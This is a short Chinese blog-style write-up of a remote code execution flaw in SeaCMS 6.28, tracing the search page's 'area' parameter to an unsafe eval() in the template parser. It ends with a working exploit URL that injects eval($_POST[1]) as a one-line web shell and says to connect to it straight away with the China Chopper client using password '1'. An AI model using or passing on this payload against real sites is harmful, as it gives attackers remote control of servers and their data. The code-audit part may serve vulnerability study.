搜索
×

海洋CMSV6.28命令执行漏洞

作者 : 发布时间:2026-09-21 18:29:41 共人阅读

0x00 代码审计

area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

因为能执行php代码一般就是eval()函数

搜索一下这个页面有eval函数的地方

for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf);$strThen=$iar[2][$m];$strThen=$this->parseSubIf($strThen);if (strpos($strThen,$labelRule2)===false){if (strpos($strThen,$labelRule3)>=0){$elsearray=explode($labelRule3,$strThen);$strThen1=$elsearray[0];$strElse1=$elsearray[1];@eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}}else{@eval("if(".$strIf.") { $ifFlag=true;} else{ $ifFlag=false;}");if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}}

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

0x01 EXP/search.php?searchtype=5&tid=&area=eval($_POST[1])

直接菜刀链接 链接密码1